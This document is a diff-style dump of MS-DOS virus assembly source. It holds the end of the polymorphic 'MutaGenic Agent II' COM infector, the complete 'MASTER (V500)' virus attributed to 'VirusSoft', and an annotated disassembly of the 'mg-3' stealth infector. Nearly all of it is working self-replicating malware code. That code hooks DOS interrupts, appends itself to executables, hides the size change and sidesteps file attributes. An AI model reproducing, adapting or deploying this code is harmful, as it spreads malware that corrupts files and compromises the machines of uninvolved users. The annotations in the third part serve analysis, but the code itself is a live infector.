dw ID ; infection signature
|
||||||
|
virus_begin:
|
||||||
|
call $ + 3
|
||||||
|
pop bp
|
||||||
|
sub bp,offset $ - 1
|
||||||
|
|
||||||
|
mov ax,PING ; are we already resident?
|
||||||
|
int 21h
|
||||||
|
cmp dx,PONG
|
||||||
|
je installed ; if so, don't repeat ...
|
||||||
|
|
||||||
|
mov ax,ds ; blah, blah, blah
|
||||||
|
dec ax
|
||||||
|
mov ds,ax
|
||||||
|
|
||||||
|
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
|
||||||
|
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
|
||||||
|
mov ax,ds:[12h]
|
||||||
|
mov ds,ax
|
||||||
|
|
||||||
|
sub ax,15
|
||||||
|
mov es,ax
|
||||||
|
mov byte ptr ds:[0],'Z'
|
||||||
|
mov word ptr ds:[1],8
|
||||||
|
mov word ptr ds:[3],(MEM_SIZE + 15) / 16
|
||||||
|
|
||||||
|
push cs ; now move virus into memory
|
||||||
|
pop ds
|
||||||
|
mov di,100h
|
||||||
|
mov cx,(offset virus_end - offset start) / 2
|
||||||
|
lea si,[bp + start]
|
||||||
|
rep movsw
|
||||||
|
|
||||||
|
xor ax,ax ; move interrupt vector 21
|
||||||
|
mov ds,ax
|
||||||
|
|
||||||
|
mov si,21h * 4 ; (saving it first)
|
||||||
|
mov di,offset old_int_21
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
|
||||||
|
mov ds:[si - 4],offset new_int_21
|
||||||
|
mov ds:[si - 2],es
|
||||||
|
|
||||||
|
installed:
|
||||||
|
push cs
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov di,100h ; restore original host
|
||||||
|
push di
|
||||||
|
lea si,[bp + host]
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
|
||||||
|
xor ax,ax ; fix a few registers
|
||||||
|
cwd
|
||||||
|
mov si,100h
|
||||||
|
|
||||||
|
ret ; and leave
|
||||||
|
|
||||||
|
new_int_21:
|
||||||
|
cmp ax,PING ; residency test?
|
||||||
|
je pass_signal ; yah yah!
|
||||||
|
|
||||||
|
cmp ax,4B00h ; program execute?
|
||||||
|
je execute ; oui oui ...
|
||||||
|
|
||||||
|
int_21_exit:
|
||||||
|
db 0EAh ; nope, never mind
|
||||||
|
old_int_21 dd 0
|
||||||
|
|
||||||
|
pass_signal:
|
||||||
|
mov dx,PONG ; give passing signal
|
||||||
|
jmp int_21_exit
|
||||||
|
|
||||||
|
execute:
|
||||||
|
push ax bx cx dx di si es ds ; a PUSHA is nicer, but it
|
||||||
|
; won't work on an 8088
|
||||||
|
|
||||||
|
mov ax,3D00h ; open file
|
||||||
|
int 21h
|
||||||
|
jnc get_sft
|
||||||
|
jmp cant_open ; ecch ...
|
||||||
|
get_sft:
|
||||||
|
xchg ax,bx ; this virus implements the
|
||||||
|
push bx ; use of System File Table
|
||||||
|
mov ax,1220h ; (TM) manipulation
|
||||||
|
int 2Fh
|
||||||
|
|
||||||
|
mov ax,1216h
|
||||||
|
mov bl,es:[di]
|
||||||
|
int 2Fh
|
||||||
|
pop bx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov cx,5 ; read header of file
|
||||||
|
mov dx,offset host
|
||||||
|
mov ah,3Fh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp word ptr host,'ZM' ; .EXE file?
|
||||||
|
je dont_infect ; oh well ...
|
||||||
|
|
||||||
|
cmp word ptr host[3],ID ; already infected?
|
||||||
|
je dont_infect ; maybe next time ...
|
||||||
|
|
||||||
|
mov word ptr es:[di + 2],2 ; a slick way of sidestepping
|
||||||
|
; file attributes
|
||||||
|
mov ax,es:[di + 11h] ; get file size
|
||||||
|
|
||||||
|
cmp ax,65729 - VIRUS_SIZE + 100
|
||||||
|
jae dont_infect ; don't infect, too large
|
||||||
|
|
||||||
|
mov es:[di + 15h],ax ; move to end of file
|
||||||
|
|
||||||
|
sub ax,3 ; adjust for jump
|
||||||
|
mov word ptr new_jump[1],ax
|
||||||
|
|
||||||
|
; MutaGen calling routine
|
||||||
|
push es di
|
||||||
|
|
||||||
|
push cs ; setup registers
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov di,offset virus_end
|
||||||
|
mov si,offset virus_begin
|
||||||
|
mov cx,VIRUS_SIZE
|
||||||
|
add ax,103h
|
||||||
|
mov dx,ax
|
||||||
|
|
||||||
|
call _mutagen ; "It's a POLYMORPHIC WAR
|
||||||
|
; OUT THERE!" - P. Ferguson
|
||||||
|
|
||||||
|
pop di es ; restore DI and ES
|
||||||
|
|
||||||
|
mov ah,40h ; save virus code to file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov word ptr es:[di + 15h],0 ; reset file pointer
|
||||||
|
|
||||||
|
mov ah,40h ; and write new jump to file
|
||||||
|
mov dx,offset new_jump
|
||||||
|
mov cx,5
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov cx,es:[di + 0Dh] ; restore file time
|
||||||
|
mov dx,es:[di + 0Fh]
|
||||||
|
mov ax,5701h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
dont_infect:
|
||||||
|
mov ah,3Eh ; close up shop
|
||||||
|
int 21h
|
||||||
|
cant_open:
|
||||||
|
pop ds es si di dx cx bx ax
|
||||||
|
jmp int_21_exit
|
||||||
|
|
||||||
|
db '[MutaGenic Agent II]',0
|
||||||
|
|
||||||
|
host: ; original host header
|
||||||
|
mov ax,4C00h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
new_jump db 0E9h ; new jump instruction
|
||||||
|
dw 0
|
||||||
|
dw ID
|
||||||
|
|
||||||
|
virus_end equ $ + MUTAGEN_SIZE + 1 ; add MutaGen size to virus
|
||||||
|
; size
|
||||||
|
|
||||||
|
VIRUS_SIZE equ virus_end - virus_begin
|
||||||
|
MEM_SIZE equ VIRUS_SIZE * 2 + 100 ; extra memory for encryption
|
||||||
|
; buffer
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end start
|
||||||
@@ -0,0 +1,314 @@
|
|||||||
|
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||||
|
;
|
||||||
|
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||||
|
; virus, distributed by VirusSoft company . First version was made
|
||||||
|
; in May., 1990 . Please don't make any corections in this file !
|
||||||
|
;
|
||||||
|
; Bulgaria, Varna
|
||||||
|
; Sep. 27, 1990
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ofs = 201h
|
||||||
|
len = offset end-ofs
|
||||||
|
|
||||||
|
call $+6
|
||||||
|
|
||||||
|
org ofs
|
||||||
|
|
||||||
|
first: dw 020cdh
|
||||||
|
db 0
|
||||||
|
|
||||||
|
pop di
|
||||||
|
dec di
|
||||||
|
dec di
|
||||||
|
mov si,[di]
|
||||||
|
dec di
|
||||||
|
add si,di
|
||||||
|
push cs
|
||||||
|
push di
|
||||||
|
cld
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
xchg ax,dx
|
||||||
|
|
||||||
|
mov ax,4b04h
|
||||||
|
int 21h
|
||||||
|
jnc residnt
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov di,ofs+3
|
||||||
|
mov cx,len-3
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
les di,[6]
|
||||||
|
mov al,0eah
|
||||||
|
dec cx
|
||||||
|
repne scasb
|
||||||
|
les di,es:[di] ; Searching for the INT21 vector
|
||||||
|
sub di,-1ah-7
|
||||||
|
|
||||||
|
db 0eah
|
||||||
|
dw offset jump,0 ; jmp far 0000:jump
|
||||||
|
|
||||||
|
jump: push es
|
||||||
|
pop ds
|
||||||
|
mov si,[di+3-7] ;
|
||||||
|
lodsb ;
|
||||||
|
cmp al,68h ; compare DOS Ver
|
||||||
|
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||||
|
mov [di+2-7],0fc80h ;
|
||||||
|
mov [di-7],0fccdh ;
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov [1020],di ; int 0ffh
|
||||||
|
mov [1022],es
|
||||||
|
|
||||||
|
mov beg-1,byte ptr not3_3-beg
|
||||||
|
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||||
|
mov beg-1,byte ptr 0
|
||||||
|
mov [7b4h],offset pr7b4
|
||||||
|
mov [7b6h],cs ; 7b4
|
||||||
|
|
||||||
|
not3.3: mov al,0a9h ; Change attrib
|
||||||
|
cont: repne scasb
|
||||||
|
cmp es:[di],0ffd8h
|
||||||
|
jne cont
|
||||||
|
mov al,18h
|
||||||
|
stosb
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop es
|
||||||
|
|
||||||
|
residnt: xchg ax,dx
|
||||||
|
retf ; ret far
|
||||||
|
|
||||||
|
;--------Interrupt process--------;
|
||||||
|
|
||||||
|
i21pr: push ax
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
if4b04: cmp ax,4b04h
|
||||||
|
je rti
|
||||||
|
|
||||||
|
xchg ax,cx
|
||||||
|
mov ah,02fh
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
if11_12: cmp ch,11h
|
||||||
|
je yes
|
||||||
|
cmp ch,12h
|
||||||
|
jne inffn
|
||||||
|
yes: xchg ax,cx
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
test es:byte ptr [bx+19],0c0h
|
||||||
|
jz normal
|
||||||
|
sub es:[bx+36],len
|
||||||
|
normal: pop ax
|
||||||
|
rti: pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
add sp,12
|
||||||
|
iret
|
||||||
|
|
||||||
|
inffn: mov ah,19h
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
|
||||||
|
if36: cmp ch,36h ; -free bytes
|
||||||
|
je beg_36
|
||||||
|
if4e: cmp ch,4eh ; -find first FM
|
||||||
|
je beg_4b
|
||||||
|
if4b: cmp ch,4bh ; -exec
|
||||||
|
je beg_4b
|
||||||
|
if47: cmp ch,47h ; -directory info
|
||||||
|
jne if5b
|
||||||
|
cmp al,2
|
||||||
|
jae begin ; it's hard-disk
|
||||||
|
if5b: cmp ch,5bh ; -create new
|
||||||
|
je beg_4b
|
||||||
|
if3c_3d: shr ch,1 ; > -open & create
|
||||||
|
cmp ch,1eh ; -
|
||||||
|
je beg_4b
|
||||||
|
|
||||||
|
jmp rest
|
||||||
|
|
||||||
|
beg_4b: mov ax,121ah
|
||||||
|
xchg dx,si
|
||||||
|
int 2fh
|
||||||
|
xchg ax,dx
|
||||||
|
xchg ax,si
|
||||||
|
|
||||||
|
beg_36: mov ah,0eh ; change current drive
|
||||||
|
dec dx ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
begin:
|
||||||
|
push es ; save DTA address
|
||||||
|
push bx ;
|
||||||
|
sub sp,44
|
||||||
|
mov dx,sp ; change DTA
|
||||||
|
push sp
|
||||||
|
mov ah,1ah
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
int 0ffh
|
||||||
|
mov bx,dx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,04eh
|
||||||
|
mov dx,offset file
|
||||||
|
mov cx,3 ; r/o , hidden
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
jc lst
|
||||||
|
|
||||||
|
next: test ss:[bx+21],byte ptr 80h
|
||||||
|
jz true
|
||||||
|
nxt: mov ah,4fh ; find next
|
||||||
|
int 0ffh
|
||||||
|
jnc next
|
||||||
|
lst: jmp last
|
||||||
|
|
||||||
|
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||||
|
ja nxt
|
||||||
|
mov [144],offset i24pr
|
||||||
|
mov [146],cs
|
||||||
|
|
||||||
|
les ax,[4ch] ; int 13h
|
||||||
|
mov i13adr,ax
|
||||||
|
mov i13adr+2,es
|
||||||
|
jmp short $
|
||||||
|
beg: mov [4ch],offset i13pr
|
||||||
|
mov [4eh],cs
|
||||||
|
;
|
||||||
|
not3_3: push ss
|
||||||
|
pop ds
|
||||||
|
push [bx+22] ; time +
|
||||||
|
push [bx+24] ; date +
|
||||||
|
push [bx+21] ; attrib +
|
||||||
|
lea dx,[bx+30] ; ds : dx = offset file name
|
||||||
|
mov ax,4301h ; Change attrib !!!
|
||||||
|
pop cx
|
||||||
|
and cx,0feh ; clear r/o and CH
|
||||||
|
or cl,0c0h ; set Infect. attr
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,03d02h ; open
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
xchg ax,bx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,03fh
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset first
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,04202h ; move fp to EOF
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
mov word ptr cal_ofs+1,ax
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,len
|
||||||
|
mov dx,ofs
|
||||||
|
int 0ffh
|
||||||
|
jc not_inf
|
||||||
|
|
||||||
|
mov ax,04200h
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset cal_ofs
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
not_inf: mov ax,05701h
|
||||||
|
pop dx ; date
|
||||||
|
pop cx ; time
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,03eh ; close
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
les ax,dword ptr i13adr
|
||||||
|
mov [4ch],ax ; int 13h
|
||||||
|
mov [4eh],es
|
||||||
|
|
||||||
|
last: add sp,46
|
||||||
|
pop dx
|
||||||
|
pop ds ; restore DTA
|
||||||
|
mov ah,1ah
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
rest: pop dx ; restore current drive
|
||||||
|
mov ah,0eh ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
i21cl: iret ; Return from INT FC
|
||||||
|
|
||||||
|
i24pr: mov al,3 ; Critical errors
|
||||||
|
iret
|
||||||
|
|
||||||
|
i13pr: cmp ah,3
|
||||||
|
jne no
|
||||||
|
inc byte ptr cs:activ
|
||||||
|
dec ah
|
||||||
|
no: jmp dword ptr cs:i13adr
|
||||||
|
|
||||||
|
pr7b4: db 2eh,0d0h,2eh
|
||||||
|
dw offset activ
|
||||||
|
; shr cs:activ,1
|
||||||
|
jnc ex7b0
|
||||||
|
inc ah
|
||||||
|
ex7b0: jmp dword ptr cs:[7b0h]
|
||||||
|
|
||||||
|
;--------
|
||||||
|
|
||||||
|
file: db "*",32,".COM"
|
||||||
|
|
||||||
|
activ: db 0
|
||||||
|
|
||||||
|
dw offset i21pr ; int 0fch
|
||||||
|
dw 0
|
||||||
|
|
||||||
|
cal_ofs: db 0e8h
|
||||||
|
|
||||||
|
end:
|
||||||
|
dw ? ; cal_ofs
|
||||||
|
|
||||||
|
i13adr: dw ?
|
||||||
|
dw ?
|
||||||
|
|
||||||
|
|
||||||
|
; The End.---
|
||||||
|
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||||
|
|
||||||
@@ -0,0 +1,338 @@
|
|||||||
|
page ,132
|
||||||
|
;
|
||||||
|
; name: mg-3.vom
|
||||||
|
;
|
||||||
|
; program type: com/bin
|
||||||
|
;
|
||||||
|
; cpu type: 8086
|
||||||
|
;
|
||||||
|
; program loaded at 0000:01f8
|
||||||
|
;
|
||||||
|
; physical eof at 0000:03f5
|
||||||
|
;
|
||||||
|
; program entry point at 0000:01f8
|
||||||
|
;
|
||||||
|
fun segment
|
||||||
|
assume cs:fun,ds:fun,es:fun,ss:fun
|
||||||
|
;
|
||||||
|
; references before the start of code space
|
||||||
|
;
|
||||||
|
org 0006h
|
||||||
|
h_0006 label word
|
||||||
|
org 004ch
|
||||||
|
h_004c label word
|
||||||
|
org 004eh
|
||||||
|
h_004e label word
|
||||||
|
org 0090h
|
||||||
|
h_0090 label word
|
||||||
|
org 0092h
|
||||||
|
h_0092 label word
|
||||||
|
;
|
||||||
|
; data references to code space addresses
|
||||||
|
;
|
||||||
|
; org 0339h
|
||||||
|
;h_0339 label byte
|
||||||
|
;
|
||||||
|
; start of program
|
||||||
|
;
|
||||||
|
org 01f8h
|
||||||
|
h_01f8:
|
||||||
|
call h_0204 ;goto virus
|
||||||
|
nop
|
||||||
|
mov ax,4c00h
|
||||||
|
int 21h ;terminate program
|
||||||
|
;
|
||||||
|
h_0201 db 0ebh,02h,90h ;saved_prog_start
|
||||||
|
h_0204:
|
||||||
|
xchg ax,dx ;save ax
|
||||||
|
pop di ;get return address
|
||||||
|
dec di ;back by 2
|
||||||
|
dec di ;to CALL ofs
|
||||||
|
mov si,[di] ;get call ofs
|
||||||
|
dec di ;back 1 to start of program
|
||||||
|
add si,di ;call ofs plus prog start
|
||||||
|
;= saved_prog_start
|
||||||
|
push cs ;save cs
|
||||||
|
push di ;and di for program start
|
||||||
|
cld ;up!
|
||||||
|
movsw ;replace 1st word
|
||||||
|
movsb ;and 3rd byte of program
|
||||||
|
mov ax,4b04h ;fn = virus ID
|
||||||
|
int 21h ;call DOS
|
||||||
|
jae h_027f ;OK (installed), skip this
|
||||||
|
xor ax,ax ;get a 0
|
||||||
|
mov es,ax ;address INT seg
|
||||||
|
mov di,0204h ;es:di = new virus home
|
||||||
|
mov cx,offset h_03f5-h_0204 ;virus size (01f1h)
|
||||||
|
repz movsb ;copy virus to low mem
|
||||||
|
les di,[0006h] ;get seg:ofs of CPMtype doscall
|
||||||
|
mov al,0eah ;JMPF instruction
|
||||||
|
dec cx ;cx = 0FFFFh
|
||||||
|
repnz scasb ;find JMPF
|
||||||
|
les di,es:[di] ;get seg:ofs to DOS
|
||||||
|
sub di,-21h ;up to ??
|
||||||
|
jmp 0000h:0239h ;goto virus in low memory
|
||||||
|
h_0239:
|
||||||
|
push es ;DOS seg
|
||||||
|
pop ds ;to ds
|
||||||
|
mov si,[di-04h] ;get ptr to max_dos_fn
|
||||||
|
lodsb ;get that byte
|
||||||
|
cmp al,68h ;at least 68?
|
||||||
|
mov [di-03h],al ;set immediate compare value
|
||||||
|
mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction
|
||||||
|
mov word ptr [di-07h],0fccdh ;INT 0FCH instruction
|
||||||
|
push cs ;current segment
|
||||||
|
pop ds ;to ds
|
||||||
|
mov [03fch],di ;set INT FF ofs to DOS entry
|
||||||
|
mov [03feh],es ;and INT FF seg to DOS entry
|
||||||
|
;BUG: need to have INT FF point to the
|
||||||
|
; CMP AH,xx instruction they
|
||||||
|
; have set up!!!
|
||||||
|
mov byte ptr [h_0339],0ah ;set dosver_skip
|
||||||
|
jnae h_026e ;not DOS 3.3+, skip this
|
||||||
|
mov byte ptr [h_0339],00h ;reset dosver_skip
|
||||||
|
mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector
|
||||||
|
mov [h_07b6],cs ;and seg of saved INT 13 vector
|
||||||
|
;in IBMBIO.COM
|
||||||
|
;NOTE: How stable are these locations?!?!?!
|
||||||
|
h_026e:
|
||||||
|
mov al,0a9h ;TEST AX,xxxx instruction
|
||||||
|
h_0270:
|
||||||
|
repnz scasb ;find it
|
||||||
|
cmp word ptr es:[di],-28h ;immediate value = 0FFD8h?
|
||||||
|
;NOTE: test for illegal flag values
|
||||||
|
jnz h_0270 ;no, try again
|
||||||
|
mov al,18h ;new immediate value: 0FF18h
|
||||||
|
;NOTE: remove "our" flag from illegal values
|
||||||
|
stosb ;modify test instr
|
||||||
|
push ss ;copy PSP seg
|
||||||
|
pop ds ;to ds
|
||||||
|
push ss ;and again
|
||||||
|
pop es ;to es
|
||||||
|
h_027f:
|
||||||
|
xchg ax,dx ;get original AX back
|
||||||
|
retf ;and execute infected program
|
||||||
|
;
|
||||||
|
; intfchere
|
||||||
|
;
|
||||||
|
h_0281:
|
||||||
|
push ax ;save regs
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
cmp ax,4b04h ;fn = virus ID?
|
||||||
|
jz h_02ad ;yes, cleanup and exit NC
|
||||||
|
xchg ax,cx ;save ax
|
||||||
|
mov ah,2fh ;fn = get DTA
|
||||||
|
int 0ffh ;call DOS
|
||||||
|
cmp ch,11h ;fn = FCB find first?
|
||||||
|
jz h_029b ;yes, stop here
|
||||||
|
cmp ch,12h ;fn = FCB find next?
|
||||||
|
jnz h_02b4 ;no, skip this
|
||||||
|
h_029b:
|
||||||
|
xchg ax,cx ;get fn back
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
push ax ;save return code
|
||||||
|
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
|
||||||
|
jz h_02ac ;not set, skip this
|
||||||
|
sub word ptr es:[bx+24h],offset h_03f5-h_0201
|
||||||
|
;update filesize to hide virus (01f4h)
|
||||||
|
h_02ac:
|
||||||
|
pop ax ;restore regs
|
||||||
|
h_02ad:
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
add sp,+0ch ;cleanup stack
|
||||||
|
iret ;and return to caller
|
||||||
|
;BUG: Should preserve returned flags!
|
||||||
|
h_02b4:
|
||||||
|
mov ah,19h ;fn = get current disk
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
push ax ;save disk
|
||||||
|
cmp ch,36h ;fn = get disk free space?
|
||||||
|
jz h_02e9 ;yes, stop here
|
||||||
|
cmp ch,4eh ;fn = find first?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
cmp ch,4bh ;fn = load/execute?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
cmp ch,47h ;fn = get current dir?
|
||||||
|
jnz h_02d1 ;no, skip this
|
||||||
|
cmp al,02h ;drive >= C:?
|
||||||
|
jae h_02ee ;yes, stop here
|
||||||
|
h_02d1:
|
||||||
|
cmp ch,5bh ;fn = create new file?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
shr ch,1 ;fn / 2
|
||||||
|
cmp ch,1eh ;fn = 3C or 3D?
|
||||||
|
;create file or open file?
|
||||||
|
jz h_02e0 ;yes, stop here
|
||||||
|
jmp h_03bb ;else continue DOS call
|
||||||
|
h_02e0:
|
||||||
|
mov ax,121ah ;fn = get file's drive
|
||||||
|
xchg si,dx ;ds:si = filename
|
||||||
|
int 2fh ;multiplex interrupt
|
||||||
|
xchg ax,dx ;ax = old si, dx = drive
|
||||||
|
xchg ax,si ;old si to si
|
||||||
|
h_02e9:
|
||||||
|
mov ah,0eh ;fn = set current disk
|
||||||
|
dec dx ;drive A: = 0, B: = 2, etc
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
h_02ee:
|
||||||
|
push es ;save dta seg
|
||||||
|
push bx ;and dta ofs
|
||||||
|
sub sp,+2ch ;allocate locals
|
||||||
|
mov dx,sp ;get ptr to local DTA
|
||||||
|
push sp ;save ptr to local DTA
|
||||||
|
mov ah,1ah ;fn = set DTA
|
||||||
|
push ss ;stack segment
|
||||||
|
pop ds ;is DTA seg
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov bx,dx ;bx = ptr to DTA
|
||||||
|
push cs ;current segment
|
||||||
|
pop ds ;to ds
|
||||||
|
mov ah,4eh ;fn = find first matching file
|
||||||
|
mov dx,offset h_03e9 ;ds:dx = wildcard_com
|
||||||
|
mov cx,0003h ;attributes = HIDDEN, Read-Only
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
jnae h_0319 ;error, cleanup and exit
|
||||||
|
h_030c:
|
||||||
|
test byte ptr ss:[bx+15h],80h ;our attribute set?
|
||||||
|
jz h_031c ;no, continue
|
||||||
|
;BUG: If it will re-infect a file with the
|
||||||
|
; MG-2 attribute set, then the above
|
||||||
|
; size change mask will FAIL!
|
||||||
|
h_0313:
|
||||||
|
mov ah,4fh ;fn = find next matching file
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
jae h_030c ;OK, check out this file
|
||||||
|
h_0319:
|
||||||
|
jmp h_03b2 ;cleanup and exit
|
||||||
|
h_031c:
|
||||||
|
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
|
||||||
|
ja h_0313 ;yes, try next file
|
||||||
|
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
|
||||||
|
mov [0092h],cs ;and INT24HERE seg
|
||||||
|
;NOTE: The original values are NOT saved!
|
||||||
|
les ax,[004ch] ;get INT 13 vector
|
||||||
|
mov [h_03f7],ax ;save oldint13ofs
|
||||||
|
mov [h_03f9],es ;and oldint13seg
|
||||||
|
h_0339 equ $+1 ;dosver_skip
|
||||||
|
jmp short h_033a ;if not DOS 3.3+, skip this
|
||||||
|
h_033a:
|
||||||
|
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
|
||||||
|
mov [004eh],cs ;and new INT 13 seg, too
|
||||||
|
;
|
||||||
|
; dosver_skip comes here
|
||||||
|
;
|
||||||
|
push ss ;DTA seg
|
||||||
|
pop ds ;to ds
|
||||||
|
push word ptr [bx+16h] ;save file time
|
||||||
|
push word ptr [bx+18h] ;and file date
|
||||||
|
push word ptr [bx+15h] ;and file attributes
|
||||||
|
lea dx,[bx+1eh] ;ds:dx = name found in DTA
|
||||||
|
mov ax,4301h ;fn = set file attributes
|
||||||
|
pop cx ;get file attributes
|
||||||
|
and cx,00feh ;high byte, R/O bit off
|
||||||
|
or cl,0c0h ;set our attributes
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ax,3d02h ;fn = open file for read/write
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
xchg ax,bx ;handle to bx
|
||||||
|
push cs ;current segment
|
||||||
|
pop ds ;to ds
|
||||||
|
mov ah,3fh ;fn = read file
|
||||||
|
mov cx,0003h ;size of saved_prog_start
|
||||||
|
mov dx,offset h_0201 ;ds:dx = saved_prog_start
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ax,4202h ;fn = lseek to EOF+CX:DX
|
||||||
|
xor dx,dx ;cx:dx = 0
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov [h_03f5],ax ;save virus_call_ofs
|
||||||
|
mov ah,40h ;fn = write to file
|
||||||
|
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
|
||||||
|
mov dx,offset h_0201 ;ds:dx = this virus
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
jnae h_039c ;error, cleanup and quit
|
||||||
|
mov ax,4200h ;fn = lseek to BOF+CX:DX
|
||||||
|
xor dx,dx ;cx:dx = 0
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ah,40h ;fn = write to file
|
||||||
|
mov cx,0003h ;size of virus_call
|
||||||
|
mov dx,offset h_03f4 ;ds:dx = virus_call
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
h_039c:
|
||||||
|
mov ax,5701h ;fn = set file time/date
|
||||||
|
pop dx ;restore file date
|
||||||
|
pop cx ;and file time
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
mov ah,3eh ;fn = close file
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
les ax,[h_03f7] ;get oldint13
|
||||||
|
mov [004ch],ax ;restore INT 13 ofs
|
||||||
|
mov [004eh],es ;and INT 13 seg
|
||||||
|
h_03b2:
|
||||||
|
add sp,+2eh ;clean stuff off stack
|
||||||
|
pop dx ;restore old DTA ofs
|
||||||
|
pop ds ;and old DTA seg
|
||||||
|
mov ah,1ah ;fn = set DTA
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
h_03bb:
|
||||||
|
pop dx ;get default drive back
|
||||||
|
mov ah,0eh ;fn = set current drive
|
||||||
|
int 0ffh ;call to DOS
|
||||||
|
pop es ;restore regs
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
iret ;continue INT 21
|
||||||
|
;
|
